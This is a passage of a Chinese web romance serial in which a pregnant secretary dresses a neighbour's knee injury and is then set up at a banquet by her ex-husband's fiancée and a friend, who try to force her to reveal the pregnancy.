商音迅速把嘴里的食物咽下去,清清嗓子,“干嘛这个表情的,他还能因为你离婚夜哭,骂你不成?” 沈渺收拾东西准备走,“我觉得不对劲,你帮我打听一下,秦川到底跟贺忱说什么了。” 商音起身送她到门口,“秦川没跟贺忱说好话?” “反正贺忱来找我了,语气很差。” 沈渺这几天没惹他,除了这事儿还能有什么? 医院门口,她刚出来,就看到路边停着的库里南。 贺忱靠在车身上,一片霓虹勾勒着他修长肆意的身姿。 他眼眸深邃黯然,令人摸不透的莫测。 沈渺出来,他的目光准确无误地落在她身上。 夜晚的医院人群稀疏,沈渺穿着一条乳白色长裙,很是乍眼。 她下台阶时拎着裙摆,步伐碎而快地朝他走过去。 “贺总,这么晚了你找我有事?” 贺忱牙关合了合,下颚线条清晰。 “沈渺,有些事情你要瞒,就瞒的严实点,让我查到把柄……” 你会死的很难看。 沈渺脑补出他下一句,心漏跳两拍。 除了孩子,她没瞒他别的事情。 贺忱无端这么说,肯定还是秦川那个环节出错了。 “上车,送你回去。” 甩下几个带着情绪的字,贺忱拉开车门先上去了。 沈渺向前两步,敲了敲车窗。 “我自己回去就行。” 贺忱一个锋锐的眼神投来,“怎么?要让我八抬大轿请你上来?” 沈渺拒绝他的意思很明显。 他双倍恶劣的态度强硬又不容置疑。 沈渺拉开车门上去,脸上有被强迫的不情愿。 “你要不是孕妇,我才不送你回家。” 贺忱踩着油门,说着气话。 他额头青筋凸起,俨然是在气头上。 沈渺不知道他在气什么,怕说多错多,不深文。 “那还真是谢谢贺总了。” 她别过头,看着窗外。 一簇簇霓虹照在她脸上,将车内别扭微妙的气息,照的一清二楚。 半小时后,库里南在十字路口转弯。 沈渺指着路边,“你停门口吧,我自己走进去。” 公寓群门口两辆车发生剐蹭,堵得水泄不通。 争执声隔着窗户就能听到。 贺忱刚将车停好,沈渺打开车门就下去了。 他松安全带的动作一顿,看着她阔步朝公寓群里面走去。 沈渺虽未回头,可她能清晰地察觉到,男人的目光落在她身上。 直到她穿过事故现场,拐了个弯。 她才停下来,回头看了一眼。 小区门口灯光明亮,几个人在那儿理论责任。 透过杂乱的人影,依稀可见方才停在那里的库里南没了踪影。 “呼……” 沈渺长舒一口气。 只是这口气还没舒完,身后冷不丁传来一道声音。 “你怎么没开车回来?” 何之洲穿着荧光绿的运动装,手腕上的运动手表表盘发出微弱的光芒。 放眼望去一团亮晶晶地,沈渺被吓了一跳,下意识后退两步。 “是我。” 何之洲又出声。 沈渺定睛一看,才看出是个人。 “何之洲?” “问你话呢。” 何之洲在马路牙上蹲下。 沈渺言简意赅,“昨天出了点小车祸,车送去修了,估计要过两天。” “车祸?” 何之洲起身朝她走过来,将她从头打量到尾。 “你人没事吧?” 他走近了,路灯光亮打在他脸上,照出眼尾下方一块淤青。 “没有你严重。” 沈渺一眼就看到那块伤,“你这是怎么弄的?” 何之洲龇牙,“夜跑掉沟里了,这不刚爬出来。” 他侧了下身体,荧光绿的衣服上沾满了土,膝盖磕得渗血水。 沈渺不忍直视,“你大晚上跑什么步?” “我一直有夜跑的习惯,刚来这儿不熟,没看到警示牌。” 伤都被发现了,何之洲不装了,一瘸一拐到马路边上坐下。 “我缓了十多分钟才站起来,真疼!” 沈渺拿出手机,打开手电筒照了一下。 膝盖的血水流到小腿上,一部分已经干涸了。 随着他晃动又有新的破裂口,流出血水。 “我送你去医院?” 何之洲摆手摇头,“不用,我给当医生的朋友发过照片,人家说擦点碘伏养两天就好了。” 沈渺把手电筒关了,“那就早点回家去擦碘伏,别往外跑了。” “我家里没有,正打算出去买。” 何之洲欲言又止。 沈渺看他一眼,静默数秒道,“我家里有,你跟我来吧。” “真的?”何之洲站起来,踉跄着跟上她,“我以为,你还生我气呢。” 沈渺走的不快,但何之洲跟得依旧费劲。 她将脚步放得更慢了些。 “生气归生气,没深仇大恨,我还能见‘死’不救?” 这附近哪里有药店。 何之洲就是走到两条腿都断了,今晚也买不来药。 “人美心善,形容的就是你了。” 何之洲贫气,“你来深城还适应吗?有没有需要我帮忙的?” 沈渺,“没有,谢谢你的好意,没别的事你早点回京北。” “贺忱走了我就走。”何之洲毫不犹豫地说,“我不是来看戏的,我帮你应付贺忱,他走了你的危险解除,我就也走。” 沈渺看他一眼,在他脸上看到几分真诚。 她说,“谢谢你的好意,其实没必要。” “有——哎呦!”何之洲只顾跟她说话,一脚踢在马路沿。 他下意识双手撑地,两条腿直挺挺地抵在那儿。 膝盖的伤口没再碰到,他吓得差点儿叫出来。 “疼~” 沈渺把包放在一旁,拽着他起来。 他爬起来的姿势像僵尸变异的一样,刚站稳腿就被这姿势弄得抽了筋。 何之洲下意识抱着沈渺,连跺脚带扭身体。 远远看去,两人像是许久不见,冲过来相拥在一起的小情侣。 至少,在贺忱的角度看来,是这样的。 201.贺忱守在她家门外 何之洲算有分寸,知道沈渺怀着孕。 借助在她身上的力气,都是虚扶的。 沈渺拽着他衣服袖子,像是拉了个麻烦一样拧着眉。 两人先后进入沈渺的公寓。 一楼的灯亮起,室内明亮如白昼。 室外光线显得暗了许多,不细看谁也看不出路边的阴影处,站着一抹身影。 “你坐。” 沈渺示意何之洲坐下,上楼去拿药箱。 何之洲老老实实坐在沙发上,打量着周围环境。 “该说不说,贺忱给你安排的公寓不错啊。” 一般像沈渺这个职位,公司提供大平层的住所较多。 这公寓虽然室内面积跟大平层差不多,可周围设施配套在深城都数得着。 相比之下,提升了一个档次。 沈渺默不作声,拿了药箱下来给他处理伤口。 “要用生理盐水先冲洗一下,会很疼,你忍着点。” 她坐在地上,歪着头借光处理伤口。 “没事儿,我男子汉不怕——嘶!疼!” 何之洲的话没说完,生理盐水遇到伤口,像是被剜肉一样的痛感袭来。 他身体一哆嗦,双手紧紧抓着沙发巾,人都快挺过去了。 “疼就咬东西。” 沈渺提醒他。 他敲打着沙发,脸憋得通红。 “咬什么?” 沈渺手上的动作利落干脆,头也不抬地说,“咬舌头,不然也是废话太多,聒噪。” 何之洲忍不住低吼出声,头发丝儿都发颤。 “忍!人家都说女人生孩子相当于断了十根肋骨,我这才哪儿到哪儿,我不能比一个女人还脆弱!” 沈渺嗤笑,将生理盐水放下,用棉棒往他腿上涂碘伏。 “这几天别碰水了,注意一点。” 那阵痛意下去,何之洲缓过来了些。 他眨了眨眼睛,有些发黑的视线渐渐恢复光亮。 “可我还想洗澡呢,我这么干净的男人,怎么能不洗澡?” 沈渺,“腿受伤了哪里都不能去,你再干净打扮得再好看,也没人看。” 何之洲,“可我……” “就算能出门,也没那么多人注意到你。” 沈渺打断他,“可你要是因为伤口感染死了,注意到你的人可就多了去了。” 何之洲瞪她,“我知道你对我心存怨气,可你也不能在我最脆弱的时候,往我心里扎刀子。” “我要是真想扎你刀子,这才算什么?”沈渺白他一眼。 “沈渺,就你们孤儿院那小姑娘的事情,你听我再跟你解释两句。” 这件事,像一根刺,扎在何之洲心里。 沈渺就是因为这,跟他彻底翻的脸。 沈渺的动作一顿,未接话。 “我知道的时候,这件事儿已经办成了,我没戳破确实不对,可我也尽力了,在我的帮助下那小孩少遭了罪……” 何之洲越说声音越小。 因为他看到,沈渺停止了动作。 她捏着棉棒的手指泛白,垂着眼帘不知在想什么。 “沈渺……” “浅姨的最终目的是钱,就算你戳破了,她还会想其他的办法要钱。” 沈渺心情有些复杂,“幸好这件事情没给卷卷带来心理上的伤害。” 她心疼卷卷,这么小就经历了这样的事情。 “那些钱,你们要回来了吗?” 何之洲想起什么似的问。 沈渺摇头,“只要回来一部分。” “那你不打算要了?”何之洲看了看她的肚子,“你马上生孩子了,用钱的地方正多。” “浅姨的账户里没有钱了,她可能是怕事情败露,把钱转移了,那些钱就留着给孩子们吧,我和商音还有一些钱,够我待产。” 沈渺怎么想,也觉得浅姨短时间内,花不完几十万。 她和商音一致认为,浅姨把钱藏起来了,慢慢供给孤儿院。 “你心够软的。” 何之洲哼了声,“孤儿院那么多孩子,我不信你以后能狠下心来,不再供给孤儿院。” 沈渺沉默。 “你自己当妈了,以后多攒钱给自己和孩子……” 何之洲其实,不太理解沈渺。 “我从孤儿院长大,这么多年来见得最多的就是死别。” 沈渺语气淡然,眼神里的光芒渐渐暗下来。 “孤儿院的孩子大多数都有病,健全的孩子在这样的环境中长大,患上心理疾病的概率比其他孩子高很多。” “生命只有一次,我想让他们走出这里,还有那些被困在残缺身体里的心智正常的孩子,他们虽然活着痛苦,但是都渴望活着……” 何之洲心一下又一下的狂跳。 他像是打开了世界的新大门。 他以为人只分有钱和没钱。 从未想过,还区分健康与不健康。 “让你说的,我以前挥霍,简直该死。” 沈渺汲气,继续给他擦药。 “你生活在这样的环境中,享受不是错,但是别浪费,对那些孩子能帮就帮一把,很有可能改变他们的命运。” 何之洲腿上凉丝丝的,还有一点痛。 他低头,看着沈渺小心翼翼的模样。 他的心头,一下,两下,三下之后,便是接连不断的快速跳动。 “脸上的伤,也弄一下吧。” 沈渺换了根新的棉棒,起身坐到沙发上,给他眼角那块淤青上药。 何之洲看到她白皙的皮肤上,细小的绒毛。 卷翘的睫毛,黑白分明的眼眸,身上带着一股淡淡的栀子花香味。 “脸可以洗,洗完了自己再上药。” 沈渺上完药,把棉棒丢垃圾桶,然后找了个小袋子,给他把碘伏装起来。 “一天擦两次,拿回去自己擦。” 何之洲‘哦’了一声,接过东西又放在茶几上了。 “沈渺,你跟我讲讲你小时候吧。” 沈渺看他一眼,“我是孕妇,这大半夜的,你能不能别打扰我休息?” 何之洲看看时间,已经十点了。 “你困吗?” 沈渺:“……” 她就是不困,也不想跟何之洲说这些。 “咱俩聊两句,你说我资助你们孤儿院怎么样?” 何之洲抛出话题。 沈渺只能顺着他说,“短时间内,浅姨那儿不需要资助,你去找找其他孤儿院吧。” “我怕遇上骗子,你给我找找。”何之洲一脸认真。 像是沈渺现在找出来,他立马就给捐钱似的。 “行,正好我知道几家孤儿院。” 沈渺曾经去其他孤儿院做过义工,留的还有联系方式。 她挨个联系了一下。 沙发背对着落地窗。 从窗外看,两人进门后就依偎在沙发上,时不时有着亲昵的小动作。 贺忱站在路边,两条腿如灌了铅。 202.向来冷静的他,快要疯了。 贺忱的手里拿着一个粉色的小猫挂件。 他手背脉络清晰,与可爱的毛绒玩具反差极大。 不知过了多久,他目光强行收回,看了看手里的玩具。 不可能。 何之洲应该是住隔壁的,那所停了豪车的公寓。 他大概是过来,找沈渺有事。 十点,不算太晚。 贺忱掏出一根烟,点燃后,夹在指缝里缓慢地染着。 他靠在路灯杆上,被浓郁的夜色包裹。 眨眼,快十一点了。 贺忱的眉心拧成一团,他薄唇紧绷,面部线条锋锐。 他没再往室内看一眼。 室内明亮的灯透出来,照亮他半张侧脸。 不知第几根烟,缓慢地燃完。 他掐灭,丢入垃圾桶,阔步离开。 三十秒后,何之洲在沈渺家出来。 “明天我就让人把捐款送过去。” 他站在两层台阶上,朝沈渺招手,“我这算不算将功赎罪,你能不能,对我有点好印象?” 沈渺握着门把,保持半开门的动作。 “你本身不算坏。” 何之洲一笑。 笑容还没彻底扬起,就听沈渺又来了句,“就是很烦人。” 何之洲:“……” “时间不早了,快回去吧。” 沈渺不是太困,下午补了几个小时的觉。 但何之洲话太多,她听着都觉得吵。 “那你早点睡!” 何之洲没想到,他还能有一天跟沈渺独处聊了好几个小时。 虽然是他一直在找话题。 这下,他们算是没有隔阂,真的做朋友了吧? 沈渺关门上楼休息。 商音跟她聊了几句,聊贺忱找她干什么。 提起贺忱,她一整个莫名其妙。 “你帮我在秦川那儿探探底,看他到底跟贺忱说什么了。” 商音回了个‘OK’的表情包。 次日一早,沈渺还在睡,就被一阵敲门声吵醒。 她掀开被子下楼开门。 门外,何之洲穿着一套睡衣,头发乱糟糟的。 “我药忘了拿。” 沈渺回头看了眼玄关的表,“现在还不到六点。” “我怕你上班走了。”何之洲睁着半个眼,也是困得不行,“我这德行,不能出门见人,没药怎么活啊。” 沈渺转身进屋给他拿药。 他却跟着进来了。 “你帮我再上一次吧,我腿疼弯不下腰。” 何之洲一屁股坐在沙发上,伸直了腿方便沈渺上药。 沈渺深吸一口气。 看在他昨晚给孤儿院捐了两百万的份儿上。 她又给他上了一次药。 伤口有些结痂,再次上药依旧很疼。 沈渺像哄小孩一样,轻轻吹着气。 “晚上我再过来让你给我上药吧。” 何之洲心底有些软软的,他说,“我实在弯不下腿,而且也看不到脸。” 沈渺,“晚上我有事,很晚才回来。” “没事,我等你,我睡的晚。” 何之洲听出她不情愿,装听不懂,晚上你去干什么?” 沈渺看他一眼,“有个宴会。” “我不耽误你,你忙你的。” 何之洲见她上完药了,站起来就往外走。 沈渺将药装了袋子,再起身他人都走到门口了。 她快步跟出来。 “我晚上再过来!” 何之洲已经下了台阶,大步回了自己公寓。 沈渺走到门口看了他一眼,只能回去。 灌木丛旁边一棵白杨树下,贺忱下眼睑带着淡淡的乌青。 看到何之洲在沈渺家出来,他眸光倏地一眯。 手机掐在此时响起,响到快自动挂断时,他才滑动屏幕接起。 “贺总,沈秘书怀孕的事情,查到了一些眉目,她曾……” “不用查了。” 贺忱丢出四个字,打断了林昭的话。 林昭做了一晚上的思想准备,将眉目说出来,几乎告诉贺忱真相。 迎接这和平场景的,将会是何等的风暴。 谁知,不查了? 贺忱挂了电话,转身朝公寓群外走去。 上车后,他想起什么似的,拿出手机翻开秦川发来的消息。 【贺忱,按照时间推断沈渺跟你离婚后半年怀上的孩子,依你对她的了解,她会这么快速结识一个男人,并且将自己交托出去吗?】 沈渺是个沉稳的性子。 离婚半年就怀上了别人的孩子…… 贺忱心口扎着的那根刺,隐隐作痛,又被泡在醋缸里那般,酸涩的不是滋味。 无力感,和杂乱的思绪,让向来冷静的他,快要疯了。 —— 沈渺一上午都没看到贺忱。 李白恬不知从哪儿听说,贺忱带程唯怡去游玩深城了。 “贺总也是的,跑到深城来干什么,婚事在即,应该很忙啊。” 沈渺半靠在椅子上,合眼休息。 听到她的话,眼皮一颤,睁开一条缝隙。 “贺家跟程家人多,有的是人操办婚事。” 李白恬‘哦’了声,“明董好像很喜欢程小姐,听说她对程小姐比对她自己女儿还亲。” 这话是贺懿传出来的。 她早些年叛逆,因为程唯怡跟明黎艳没少干仗。 跟她关系不错的都知道,传得人尽皆知了。 “让你打听高家少爷生日宴,打听得怎么样?” 沈渺转移话题。 李白恬撇了下嘴,“那就是个二世祖,参加他生日宴的都冲吃喝玩乐去,不过一听说你跟贺总也去,高家又邀请了很多商圈的人来。” 说是生日宴凑个热闹,但又变成了实打实的商机宴会。 “行了,你去准备一下,等贺总通知什么时候过去。” 沈渺示意李白恬去忙。 李白恬离开她办公室。 一下午,办公室静得落针可闻。 昨晚之后,非但没再见过贺忱,甚至连一条消息都没有。 沈渺感觉怪怪的,却又说不上来。 或许,是在陪程唯怡,抽不开身处理工作。 六点钟,贺忱发来消息,让她一个人去宴会。 沈渺的车要明天才能修好,她打车过去的。 高家发来的请柬,在贺忱手上。 她到酒店之后,给贺忱发了个消息,贺忱没回。 她等了几分钟,只要拨贺忱的电话。 但电话刚拨出去没几秒,就被挂了。 沈渺拢眉,她后面又来了人,她只能让开位置,让人家先进。 “你们几个把那边的礼物都搬到车上去,其他的扔了吧。” 入口旁边放着许多礼物,一个脸圆圆的男人在里面挑了几样,让服务员把剩下的都扔了。 沈渺循声望去,认出眼前这人。 高裴济,高家的独苗,那张脸跟高夫人有六七分相似。 她打量对方时,对方也朝她看过来。 目光本是从她身上匆匆略过。 但错过后,高裴济立马又将视线拉回来,重新落在她身上。 “妈?”他脱口而出,喊了一句。 203.远看跟我妈真像! 沈渺四下扫了一圈,确认周围没人。 她指了指自己,一脸疑惑地看着高裴济。 那句‘妈’,喊她呢? “少爷,您认错人了!” 下人快步走到高裴济身边,小声提醒。 高裴济揉了揉眼睛,从口袋里拿出近视眼镜戴上。 “远看跟我妈真像。” 他小声嘀咕一句,不自在地朝沈渺走了两步。 “你是什么人,在这儿干嘛呢?” 乌龙误会,沈渺比高裴济还不自在。 “高先生,生日快乐,我来参加你的生日宴会,同伴还没来。” 高裴济‘哦’一声,点着头打量她。 总觉得她眉眼,近看还是跟他妈很像。 他甩了甩头道,“别在这儿等着了,来者是客,先进去。” 下人们将礼物都分装完了。 高裴济让他们先走,自己则进入宴会厅招待。 沈渺跟着他进去的。 进去之后,高裴济被一群二世祖围住,玩闹着朝一个方向走去。 沈渺看了看手机,贺忱那边依旧了无音讯。 她打算找个地方等。 谁知一扭头,就看到人群中,与程唯怡站在一起的男人。 贺忱身着黑色西装,俊朗斯文的面容透出一股淡淡的矜贵。 他与程唯怡错开半个身位站着,程唯怡几乎是依偎在他怀里的。 他们对面,是小腹高高隆起的吴玥珊。 吴玥珊一手撑着腰,一手摸肚子,看起来像是在传授经验。 即将新婚的小夫妻,面临怀孕生子的问题,应该是害羞却喜悦、期待的。 可不知为何,程唯怡的表情有些僵硬。 贺忱如常的面色,多了一抹令人捉摸不透的情绪,低头看着程唯怡。 沈渺敛回目光,难怪贺忱没有接她的电话。 陪在程唯怡旁边,怕是不方便。 她找了个空位坐下,手机突然响了一声。 何之洲发来的消息,问她今晚几点回去。 她回:不知道。 何之洲:我困了,补个觉,你回来给我打电话,我过去擦药。 沈渺:知道了。 不等她将手机敛起,视线突然一暗。 男人笔挺的双腿映入眼帘,挺括的西装熨贴着他健壮的身形。 “贺总。”沈渺将手机放起来,迅速起身。 贺忱睨着她,“怎么进来的?” 沈渺,“遇到了高裴济,他带我进来的。” “你跟高裴济认识?”贺忱语调略沉。 “不认识。”沈渺摇头。 她也不知道,高裴济为什么没盘问她具体身份,就直接把她给带进来了。 贺忱抬起手,看了看腕表,“你迟到了。” “路上有些堵车。” 沈渺想说,她在等他消息出发来宴会。 谁知道他先过来了? “等会儿去跟高夫人道个歉,她刚刚在找你。” 贺忱丢下两句话,折身离开,朝着男人堆里走去。 沈渺看了他背影一眼,从手边的桌子上拿了一杯橙汁,去找高夫人。 不远处,程唯怡和吴玥珊坐在沙发上。 “你确定他俩有一腿吗?” 吴玥珊问程唯怡,“我觉得不像呢?” 程唯怡看她一眼,“我跟贺忱哥马上就要结婚了,当着这么多人他们哪里敢露出马脚?” “这个沈渺,长的就是一副狐媚子相,听说刚刚是我老公带她进来的。” 吴玥珊听下人说了以后,立马就警惕心大起。 幸好高裴济进入宴会厅太忙了,顾不上沈渺。 不然依他那花心的性子,指定要跟着沈渺—— “让你找的人,你可找好了?” 程唯怡声音压低了些,“帮我解决了她这个麻烦,我跟贺忱哥立马就回京北,等着结婚。” 吴玥珊掩唇一笑,“就知道你等不及了,放心吧,我都安排好了。” 说着,吴玥珊从沙发上起来,给了程唯怡一个眼神。 “等着看吧,好戏马上开场。” 程唯怡笑起来,“快去吧。” —— 高夫人被一群贵太太围着。 沈渺在不远处等时机上去。 “沈总。” 她身后突然传来一道声音。 沈渺回头,便看到端着红酒杯的高振山。 “高总。”她微微颔首。 “你这是……”高振山顺着她视线看,刚好看到高夫人。 沈渺如实说,“过来跟高夫人打个招呼。” 高振山扯皮笑,却微微拧着眉。 “我夫人是挺喜欢你的,最近应该也找过你,打扰到你了,但我希望你跟她保持一定的距离。” 沈渺一怔,她想到上次饭局,高夫人接了个电话匆匆离开。 “别误会,我是说——” 高振山说完那话觉得不妥,又开始找补,“我太太就是一个家庭妇女,她整天闲着没事,别打扰了你工作。” 沈渺从他脸上看得出,他是不想让她再跟高夫人接触。 原因不详。 “高先生说的是,因为工作繁忙我多次疏忽了高夫人的热络,希望你代我跟高夫人说个不是。” 高振山眉头舒展开,笑了笑,“沈总是生意场上的女人,想必不喜欢这种应酬,去那边吧,贺总都快忙不开了。” “好。” 男人堆里也有几个女人,是深城有名的女精英。 沈渺虽是朝着那个方向去了,却只是找了个僻静的地方坐下。 她又往这边看了一眼。 高夫人过来了,站在刚刚她和高振山聊天的地方。 高振山阴沉着脸色训斥着什么。 高夫人不甘心地朝这边看。 沈渺收回目光。 她感觉得出,高夫人有意接近她。 她没兴趣知道,高夫人为什么这么喜欢她。 可她想知道,高振山为什么不同意高夫人跟她走得近。 甚至于亲自来找她,说出这番话。 可惜,沈渺初来乍到,对这里的人和事都不了解。 “沈渺。” 吴玥珊找了她一圈,脸上是挂不住的不满,“你怎么到处乱跑?” 沈渺头有些大。 一个接一个地过来,她还不得不应付。 “高少夫人。” “听说你跟我年纪差不多大,我这都怀孕好几个月了,你还单着呢,今天在场的都是深城有头有脸的人物,你喜欢哪个,我给你介绍一个?” 吴玥珊扫了扫男人堆里的年轻人。 沈渺觉得高家人一个比一个冒昧。 “不牢高小姐费心了,我目前没有结婚的打算。” “你这意思是,这里的男人,你都看不上?” 吴玥珊刻意曲解她的意思。 204.逼沈渺当众承认怀孕 “我配不上这些公子哥才是。” 沈渺避开她下的套。 但吴玥珊早有防备,准备了另外一个套。 “你进来,就有人相中了,托我来说辞一下呢,对方不介意身份地位,刚好介绍给你认识一下。” 说着,吴玥珊转身,不知朝何处抬了抬手。 人群里,一个穿着深灰色西装,约莫快四十岁的男人走出来。 男人戴着老式的黑框眼镜,头发擦了一层发蜡,锃光瓦亮。 下颚青色的胡茬下,略显粗糙的皮肤,暴露着他的年龄。 “石总,这就是我跟你说的那位对你很感兴趣的沈总。” 吴玥珊小声跟石青达说,“出身是差了点,但是能力强,又比你小好几岁,你好好把握。” 石青达的目光几乎粘在沈渺身上了。 “知道了。” 他敷衍着吴玥珊。 吴玥珊带着他走向沈渺。 “沈渺,这位是石业科技的石总。” 若是个公子哥,沈渺找个借口就走人了。 偏偏对方也是生意人。 沈渺伸出手去,“石总,我是百荣分部的沈渺。” “沈总。”石青达握住她白嫩手软的手,脸上乍开一抹笑容。 “你们好好聊,我去招待别人了。” 吴玥珊拍了拍石青达的肩膀,递给石青达一个眼神后离开。 石青达却没看她,一直看着沈渺。 他是个钻石王老五,年轻时拼事业耽误了感情。 现在将近四十岁,在感情上相当挑剔。 对于那些相中他钱的女人,他都相不中。 可不看他钱的,他又总会挑出毛病来。 一直没找到合适的对象,让他很是头疼,他还有很多家业等着继承呢。 眼下,沈渺太合他的心意了。 而沈渺也对他感兴趣,想结识他,简直是缘分。 “沈小姐,今年多大了?”石青达率先发问。 这不是聊商业天的模式,是相亲模式。 不知道吴玥珊是怎么跟他说的。 沈渺只能委婉道,“石总,我想……可能有些误会。” “误会什么?” 石青达问她,“你的情况,我都听高少夫人说过了,我给你说说我的情况吧。” “我……” “我年纪是比你大了一些,但是在感情上,我的经验不丰富,虽然见过的女人多,但是几乎都没有交往。” 石青达认为,沈渺此刻应该是近距离接触后,又对他没那么大兴趣了。 他极力推销自己,试图挽回一下沈渺对他的兴趣。 “我父母双亡,家中独子,石业科技的底蕴你应该清楚,嫁给我也不算吃亏,我看你也不是贪财的女人,嫁过来就相夫教子,在事业上也能帮我……” 沈渺来深城这么久,终于彻彻底底地了解了第一个深城人。 石青达想找个老婆,比工作还要认真的态度。 吴玥珊一定是跟石青达说,她对石青达有意,想以交往为目的的接触。 所以石青达才这么认真地跟她互相交底。 “石总,抱歉,我……” “这样吧,你先不要急着拒绝我。” 石青达听到‘抱歉’两个字,就知道沈渺是彻底反悔了。 可他想挽留一下,毕竟相亲这么多,难得遇到一个他喜欢的。 “我们先做个朋友,交换一个联系方式,接触一下。” 石青达拿出手机,打开微信,让她扫他加好友。 沈渺扫了,不过她边加边说,“石总,不知道高少夫人怎么跟您说的,但其中一定有误会,我……” 不等她把话说完,身边突然传来杂乱脚步声,以及一声惊呼。 “小心!” 不等沈渺回头,只觉得身上一凉。 浓烈的酒味蔓延开,红褐色的液体落在她身上,将她的衣衫打湿。 沈渺站起来,抖了抖裙子,奈何裙子面料吸水极快。 湿了的衣服贴在她身上,将她小腹的弧度勾勒出来。 石青达掏出帕子,正欲递给她让她擦一擦。 看到她小腹隆起的弧度,他怔了下。 “你,你怀孕了?” 服务员也拿了纸巾过来。 沈渺接过纸巾,一边擦衣服的水珠,一边朝石青达点了点头。 “抱歉。” “你——”石青达看起来有些恼怒,“简直过分!” 他冷哼一声,甩了甩袖子,转身离开。 与此同时,闯了祸的服务员悄无声息地离开,潜入人群朝着吴玥珊走去。 沈渺朝服务员的背影看了一眼。 不知道吴玥珊搞什么。 她丢下纸巾,转身去了卫生间。 虽然已经是六月份,但是临海的城市夜晚有些凉。 洒了酒水的衣服贴在身上,让沈渺觉得整个人都冷飕飕的。 她将裙摆提起,放在烘手机下吹。 可效果并不是很好。 沈渺肩上突然一暖。 黑色的西装外套搭在她身上,敛去她周身几分冷意。 衣服上残留着男人的余温,让她有了片刻的暖意。 “贺总。” 沈渺放下裙摆,整理了下衣服。 贺忱睨了眼她裙子上那块水渍,沉眸凛冽。 “回去吧,免得生病耽误工作。” 他嗓音清洌富有磁性。 若没有后半句的解释,沈渺觉得他是个体贴的好上司。 添上那半句—— “那我就先走了。” 沈渺颔首,转身离开。 她并未脱下他的外套,外面比酒店内更凉。 万一冻感冒了,她不担心工作,担心肚子里的孩子。 贺忱看着她出了宴会大厅,放下酒杯转身朝一个方向走去。 角落里,吴玥珊跟程唯怡坐在一起。 她倾身凑到程唯怡耳边小声说,“石青达是个老婆迷,你瞧着吧,他觉得自己被沈渺耍了,一定不会善罢甘休的。” “你确定吗?” 程唯怡有些担心,“机会可就这一次,真能到让沈渺松口的那一步吗?” 吴玥珊迟疑片刻,拧眉‘嘶’了一声。 “你也是的,怎么没跟我说沈渺怀孕呢?她怀的可是贺忱的孩子?她要是曝光那孩子是贺忱的,这个婚你们还结不结?” 沈渺的孩子,不是贺忱的。 程唯怡可是让秦川做过亲子鉴定的。 可她要是跟吴玥珊说,沈渺的孩子是别人的,岂不是告诉吴玥珊,她编造沈渺跟贺忱不清不楚? 程唯怡只是想通过这种方法,逼沈渺当众承认怀孕,说出孩子是谁的。 到时候,贺忱肯定不会再护着沈渺! 这想法刚落地,程唯怡的手腕突然一紧。 她抬头,冷不丁对上贺忱冷然的目光。 “跟我来。” 贺忱拉着她朝宴会厅外走去。 205.前任的现任,都想一比高下。 酒店门口,贺忱甩开程唯怡的手。 程唯怡不慎防备,踉跄后退,揉着发痛的手腕,眼色忐忑地看着他。 “贺,贺忱哥,怎么了?” “你说怎么了?” 贺忱眸色沉得比夜晚的凉风还冷,他如注地盯着程唯怡。 程唯怡的手渐渐垂下,使劲捏着裙摆,尽力让自己看起来无恙。 “我太久没跟珊珊见面了,所以就想在深城多待两天,你不能连这也要管我吧?体检的事情……我回去会照办的。” 贺忱薄唇轻掀,“说说,这次又想对沈渺做什么。” 程唯怡面色划过一抹被戳破的窘态和心惊。 但她很快就稳了心神 “这件事跟我没关系,沈渺自己不知怎么得罪珊珊了,珊珊想为难她。” 她早已想好的措辞,在贺忱这根本不成立。 “是吗。” 他不戳破,不拆穿,淡淡地吐出一句话,“那你去把吴玥珊摆平了。” 程唯怡猛地抬起头,“你让我帮沈渺?” 贺忱眉梢微挑。 “贺忱哥,我没有那么大度,珊珊为难她我不落井下石就不错了,做不到帮她!她可是你的前妻,别说现任的前任,就是前任的现任,大家见了都想一比高下……” 程唯怡实事求是。 她的话在贺忱心底,泛起涟漪。 就算是前任的现任,都想一比高下。 他眸色一深,眉骨紧紧收拢。 “那,我就自己收拾吴玥珊。” 他打断程唯怡的话。 程唯怡喉咙一紧,下意识说,“珊珊在国外时帮了我很多——” 贺忱不听她说,转身离开。 沈渺在回家的出租车上,眼皮剧烈抽动了两下。 她摁了摁眼皮,心跳突然失律两拍。 微信响了一声,石青达通过了她的好友申请。 并且很快发来消息。 【沈渺,你真是太过分了,拿感情当儿戏,都已经怀孕了还谈感情,我这个人对待感情是很认真的,我要去找你的上司要个说法!】 “骗感情?” 商音翻了个白眼,“不是,这人有病吧?不就在宴会上见了一面,怎么就成了骗感情了?” 沈渺想了一路,也想不明白,‘感情’二字,从何而来。 “呦呵,你看,网上关于石青达的新闻还不少呢。” 商音在网上搜查了下石青达的名字。 石青达在商圈的丰功伟绩一笔带过,讲述最多的就是他的感情史。 一次又一次以结婚为目的的接触,一个又一个的女人。 “他还参加过相亲节目呢,这么大一老总去电视上找老婆,也不怕丢人,难怪这么较真,老婆迷啊。” 沈渺凑过来看了一眼。 网上记录石青达公开择偶的次数不计其数。 他在认真择偶中,也认真地挑选,几乎都是他觉得对方不合适。 这次石青达这么生气,是因为他挺中意沈渺的。 该说不说,沈渺又荣幸又倒霉。 “也行,石青达要是找了贺忱,贺忱把你开了,你就回家养胎。” 商音嘴上宽慰她。 可离职这两个字,从头提到尾,次次不如意。 商音早已不抱希望。 “明天周末,我不上班,我去找他解释一下,这件事情……一定有吴玥珊的手笔。” 而吴玥珊又跟程唯怡脱不了关系。 沈渺不想让这件事情发酵到工作上去。 对她名声有损,对她未来的事业也会有损伤。 “辞职的话是这么一说,让人家炒鱿鱼面子上也过不去,何况咱还是冤枉的。” 商音朝沈渺眨眨眼,“我在行动上支持你。” 沈渺点了下头,朝楼上看了一眼,“今天就出院了?确定没事了?” “已经不烧了,秦川说回家多观察就行了。” 短短几天,商音有种被掏空的无力感。 虽然不用工作,可是看到孩子生病,她着急上火,比工作还累。 “那你早点休息,我先回了。” 沈渺刚停好车,就被她喊过来吃宵夜。 她出席宴会连口生日蛋糕都没吃上,就回来了,正饿呢。 走出商音家,她又想起什么似的,给何之洲发消息,让何之洲过来上药。 她前脚进家门,后脚何之洲就过来了。 “让你给我打电话喊我上药,你非得发信息,得亏着我定了闹钟提前醒了,不然肯定就错过了你的消息。” 何之洲碎碎念,他哪儿能不知道,沈渺是故意的。 “一天不上药死不了。” 沈渺不遮掩自己不想给他上药。 “我明天有事一早就得出去,今晚上了药就不来打扰你了。” 何之洲坐下的姿势很生硬,“别提了,感觉今天行动更不方便了。” 他的伤在膝盖,结痂后周围的皮肤紧巴巴的。 弯腿的动作受影响,行动自然不方便。 